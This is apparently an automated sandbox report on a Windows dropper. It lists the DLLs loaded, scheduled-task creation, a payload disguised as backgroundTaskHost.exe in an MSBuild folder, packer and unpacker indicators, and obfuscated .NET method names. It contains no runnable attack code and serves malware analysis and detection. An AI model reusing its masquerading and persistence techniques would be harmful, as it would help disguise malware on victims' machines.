            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: netutils.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: slc.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: sppc.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: version.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: rasapi32.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: rasman.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: rtutils.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: mscoree.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: apphelp.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: kernel.appcore.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: version.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: vcruntime140_clr0400.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: ucrtbase_clr0400.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: ucrtbase_clr0400.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: uxtheme.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: windows.storage.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: wldp.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: profapi.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: cryptsp.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: rsaenh.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: cryptbase.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: sspicli.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: mscoree.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: kernel.appcore.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: version.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: vcruntime140_clr0400.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: ucrtbase_clr0400.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: ucrtbase_clr0400.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: uxtheme.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: windows.storage.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: wldp.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: profapi.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: cryptsp.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: rsaenh.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: cryptbase.dll
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeSection loaded: sspicli.dll
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32Jump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeDirectory created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeDirectory created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\eddb19405b7ce1Jump to behavior
            Source: GNUCXbYadp.exeStatic file information: File size 1993612 > 1048576
            Source: GNUCXbYadp.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
            Source: GNUCXbYadp.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
            Source: GNUCXbYadp.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
            Source: GNUCXbYadp.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
            Source: GNUCXbYadp.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
            Source: GNUCXbYadp.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
            Source: GNUCXbYadp.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
            Source: GNUCXbYadp.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
            Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: GNUCXbYadp.exe
            Source: GNUCXbYadp.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
            Source: GNUCXbYadp.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
            Source: GNUCXbYadp.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
            Source: GNUCXbYadp.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
            Source: GNUCXbYadp.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

            Data Obfuscation

            barindex
            .NET source code contains method to dynamically call methods (often used by packers)
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, txqHHcIAn3cG2gpMFUv.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, txqHHcIAn3cG2gpMFUv.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
            .NET source code contains potential unpacker
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, iBMHMrW79DxDcJ50KIk.cs.Net Code: efXrfDa1FQ System.AppDomain.Load(byte[])
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, iBMHMrW79DxDcJ50KIk.cs.Net Code: efXrfDa1FQ System.Reflection.Assembly.Load(byte[])
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, iBMHMrW79DxDcJ50KIk.cs.Net Code: efXrfDa1FQ
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, iBMHMrW79DxDcJ50KIk.cs.Net Code: efXrfDa1FQ System.AppDomain.Load(byte[])
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, iBMHMrW79DxDcJ50KIk.cs.Net Code: efXrfDa1FQ System.Reflection.Assembly.Load(byte[])
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, iBMHMrW79DxDcJ50KIk.cs.Net Code: efXrfDa1FQ
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeFile created: C:\BrowserreviewSavesruntimeperf\__tmp_rar_sfx_access_check_6466843Jump to behavior
            Source: GNUCXbYadp.exeStatic PE information: section name: .didat
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EFE28C push eax; ret 0_2_00EFE2AA
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EFED46 push ecx; ret 0_2_00EFED59
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeCode function: 6_2_00007FFD348B00BD pushad ; iretd 6_2_00007FFD348B00C1
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeCode function: 6_2_00007FFD348B8A2E push esp; iretd 6_2_00007FFD348B8A31
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeCode function: 6_2_00007FFD348B9413 push ebp; ret 6_2_00007FFD348B9414
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348B00BD pushad ; iretd 20_2_00007FFD348B00C1
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348B8A2E push esp; iretd 20_2_00007FFD348B8A31
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348B9413 push ebp; ret 20_2_00007FFD348B9414
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeCode function: 23_2_00007FFD348A00BD pushad ; iretd 23_2_00007FFD348A00C1
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeCode function: 23_2_00007FFD348A8A2E push esp; iretd 23_2_00007FFD348A8A31
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeCode function: 23_2_00007FFD348A9413 push ebp; ret 23_2_00007FFD348A9414
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeCode function: 24_2_00007FFD348900BD pushad ; iretd 24_2_00007FFD348900C1
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeCode function: 24_2_00007FFD34898A2E push esp; iretd 24_2_00007FFD34898A31
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeCode function: 24_2_00007FFD34899413 push ebp; ret 24_2_00007FFD34899414
            Source: Blockreview.exe.0.drStatic PE information: section name: .text entropy: 7.355902242782255
            Source: backgroundTaskHost.exe.6.drStatic PE information: section name: .text entropy: 7.355902242782255
            Source: winlogon.exe.6.drStatic PE information: section name: .text entropy: 7.355902242782255
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, cAAWvpB2Y01Yf7DmU4j.csHigh entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'I5beumdcj3YU7bE3qb8', 'cROUhxdpHaeVfyuFgpa', 'OyPjLGd5swyJNXNSVTM', 'E8Uxidd2xh8NKV4vLcT', 'OFeNPId1wXeP2Ahr7MJ', 'PTadswdyjNHl7hLAbIE'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, OQmDvgS4rU8WS6R1XXN.csHigh entropy of concatenated method names: 'JnBj760ag3', 'Uy1jXeHtLt', 'YtIjtkNTf7', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 't5djY4L772'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, Af4X0FiRMPxXFPZui9N.csHigh entropy of concatenated method names: 'HJDvTsVCaIXyiFlNxSY', 'ySmbjrV8HbnUusWCbSY', 'zCYexZVX4XBD7DNKkxX', 'W4EVATVG3PsIw41RpRp', 'vInyHTVdcnnThulrf7P', 'YklS7nV4KTXEox7MRgq', 'oAg8JwVvwCAvNo5moiP'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, iBMHMrW79DxDcJ50KIk.csHigh entropy of concatenated method names: 'KA0rg5W4Nl', 'l92rKbaudm', 'h0ireRqmHi', 'dFEr03pcep', 'QrxrP6J9Rs', 'T7LrD8cNpH', 'nOJrRoOciF', 'QIh5hCEFNZ6eukuDj2M', 'VVHAGhEQfvRieLuyPuf', 'wykZIcE9meRP0Ah11Ic'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, dvN5v7IEs8bOVP1Ygh4.csHigh entropy of concatenated method names: 'ABLnqBP0c7', 'xRPnEbWa1p', 'oOUnJW3xox', 'ROEnjJHHsn', 'QaMnUtSp3V', 'eBCn4SQILZ', 'MOHn3xlCic', 'XILn9drgWv', 'Nfynn2Cg6F', 'a67ngMjCeL'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, FNF3lWU6ke7x6u8PBl.csHigh entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'm4AV76sSFgZHLpX4u5J', 'hUoYBCs0MpUjx5Ou3A9', 'hoBwooslXQMxqnb4Fnk', 'IA6LClsECTnVrgdhk7E', 'CdnvOEsqXMQLLLLgPKF', 'CymAZ9siqKsvma3C6RE'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, n9CO1pW5lT8OTv3jvsX.csHigh entropy of concatenated method names: 'trUrz0wXrG', 'nLwkFYNFK6', 'U8wkBWqEKr', 'VoRkWas8p4', 'GTPkrNxqeo', 'sQekkDX6PC', 'gi0kiOjA0L', 'IYhkSeDRoy', 'FHnkIMGYtj', 'zxTkLSgOfQ'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, IjqfkpSS55Z6WLbr8O7.csHigh entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, mSLRbnigPgj9rFCS8Aq.csHigh entropy of concatenated method names: 'HrIqvDRhgL', 'w60qp6CR73', 'fkJqHCODHs', 'RI2qmgeTv5', 'BEcqNZQ6Pe', 'xNDqMH9qG8', 'DttA31Dw0yTlEeiXpeG', 'hfn4uNDerueDnE2cZc1', 'gkOF8KD6ttGpBVevS0M', 'I8YxXmDIYlPrBlSCWRv'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, zSjrpAijAxfrGICZvwO.csHigh entropy of concatenated method names: 'YG5qRmUGPE', 'yxkqutG71l', 'N9yqbpfT47', 'MsVqhiOag8', 'BLPq8IMV3O', 'smUmQLDpSmXfPByGdOf', 'A8mI8uDth0uOoya55co', 'G0PdBQDcrbUhHv6Ue3a', 'Rw433HD5yv7FaVvdJ65', 'X4Hgj3D2uMhCLqjbLMp'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, OiFk5aSn5JQYZcCjgk6.csHigh entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'ilgjEn1d7f', 'YRvjJs5eGp', 'Rnbjj2L8QW', 'hZbjUHZ25v', 'TUVj4fB0OB', 'nZWj3we9w6', 'zMFW58AD74LhMtH3HtC'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, ru4MBpWFYvZjvRZMSN8.csHigh entropy of concatenated method names: 'rpqWEnW5PL', 'i8AWJsyT8f', 'gZhWj71piX', 'W1hqxt0m0cOkSVKlxwv', 'Y1sKcl0MY9AWh595YvI', 'bwkuqD0Z3BhiHcwTnC3', 'WIkM6g0b4kP8q617xHS', 'SOv3Bu0DBptySy8jerr', 'e59Zxx0VK8XXkC9kCGX', 'K3q3vV01N8CUqRV6OUa'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, sQdNiMkZfLPNATc9qTv.csHigh entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'bjCf6PJLZI', 'JI8fl6pWAO', 'r8j', 'LS1', '_55S'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, hMBlmPWVdcIKT4faoK9.csHigh entropy of concatenated method names: 'iEOkAQu4MB', 'UYvkfZjvRZ', 'DBKpJGiFQc25QSOMZtZ', 'Qqnv7QiOGddO19T9bu9', 'GaD9SAiQbASFmHn7xWn', 'TT6uuDi9PeAcf9n9nPj', 'enrc5AithteXfORVBig', 'BP0C7AicorDC0UooU9r', 'whkj3Sipwjhix6452xS', 'wEK2Nti5k9k3OOrRRiy'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, e4GxgHSsfZaOZPh8GLr.csHigh entropy of concatenated method names: 'IGD', 'CV5', 'NqiJqT9r3P', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, z4BdS2SZ3mi4rgu9F3v.csHigh entropy of concatenated method names: 'vVs3dCRfHx', '_1kO', '_9v4', '_294', 'HlQ3sQn08c', 'euj', 'j1h3qrUGDr', 'svN3Ej7On1', 'o87', 'Ie23JGCSdd'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, fb1BmmrBgr7oSvTtPSe.csHigh entropy of concatenated method names: 'E2hI3mT0js', 'lFEI9nHmvn', 'DMGInh9QOK', 'mIEIgZB9Hg', 'Bj3yo4PzVFRq0tFP0Ni', 'uGcW7KPYAIQNbIQN5h4', 'bvZw8OPL2aBHa471RFD', 'GqMcorHfI2vO49q2J5Q', 'rlBVysHgTKB0n8HGVe7', 'bAgg6XHsMsMN7VHADp6'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, KaSM2PktkkKmrNYn34m.csHigh entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, J5a5jIrhukxS5N4EFQM.csHigh entropy of concatenated method names: 'sg9', 'o1UgB74jML', 'kMs7M0BuGX', 'zp8gWVfTRQ', 'Fe5NA4Qww7IXcNHIwvP', 'LImh7mQIUZ07iumt6Ii', 'Bw4uK2QJqyklH4LtR8D', 'YYLtAkQeW9Uq18Zy9WW', 'S9kXMJQ62CfAAk3gAqC', 'XCymxYQNWEsuLlifC3q'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, d8Hvgri7c17sExvuhPC.csHigh entropy of concatenated method names: 'lyLqVAUTUx', 'EZmqo1uT7I', 'DO5NKHbBVQ9AX1kKJbA', 'rjeCAUbkeWGQm5oCi4r', 'n320kcbr1D964qaeVIT', 'Ok8QsWbWSPuc7HMcSBT', 'WjNJnAbYQlkjFTt3YOU', 'yWuS8TbLgKnTNE1MfuB', 'FpIK48bzu8OGCQmcI5S', 'IcPR7KDfEnLCSJ1cfTV'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, A3lmlpndsQKT5PThhl.csHigh entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'vbAuOcavI', 'Wm2GDosH3hnTu9KDbgL', 'wSuvJLsufL389sGUX0P', 'mJx0Fbs720FankCXXIY', 'UGyS2qsUwxh0ga1WPix', 'vYln55sQN1nNpJKvUo8'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, mDPrrEr1PCUSwY0nY2g.csHigh entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'mySSsJQENiuG47kJo0p', 'Q2FAx2QqjmlfIYOPk0C', 'wAnRshQib3SUPqn0ipt', 'jUXha0QhPRnslexje2H'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, bW2JiYBCfZsbYnujIR7.csHigh entropy of concatenated method names: 'wqFWtUlFDq', 'pmgWYojct9', 'Q7ImC4S0UC8I2kqodvn', 'uVtKW8S3kwdTmlBWDG4', 'hAMkYQSSw9aUXRxurQ4', 'Qqk1UASlOiBU6qilpir', 'Vijn50SE9oqL731kfUU', 'TeFMApSqtiVMsUJsbia', 'QCISnWSiDlTCxtgEkSi', 'Q1btKOShNJpReNePcli'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, KJVXsEk5EVPYJlMRmpL.csHigh entropy of concatenated method names: '_7zt', 'CGn2QSOj7W', 'lc82V1rKPE', 'tUU2onqTmU', 'cKD21Iuy6X', 'jeT2d5mvG8', 'yB22sK1rXa', 'nwTvqJtQZvsXQH1VPe1', 'cHhrK1t9EV5qvR8VySf', 'edpSQVt7qMYBBv2qjh8'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, XPhuOSkmm7uT69xwsjV.csHigh entropy of concatenated method names: 'EKj6EhGQIB', 'isq6jgY574', 'XiW6AJK428', 'l6v6fcTmij', 'OGS66RtQwE', 're26lbXNRu', 'bdu6T5Krgg', 'FMW6GEkBWE', 'okA65BEQKU', 'Bow6QwjcZv'
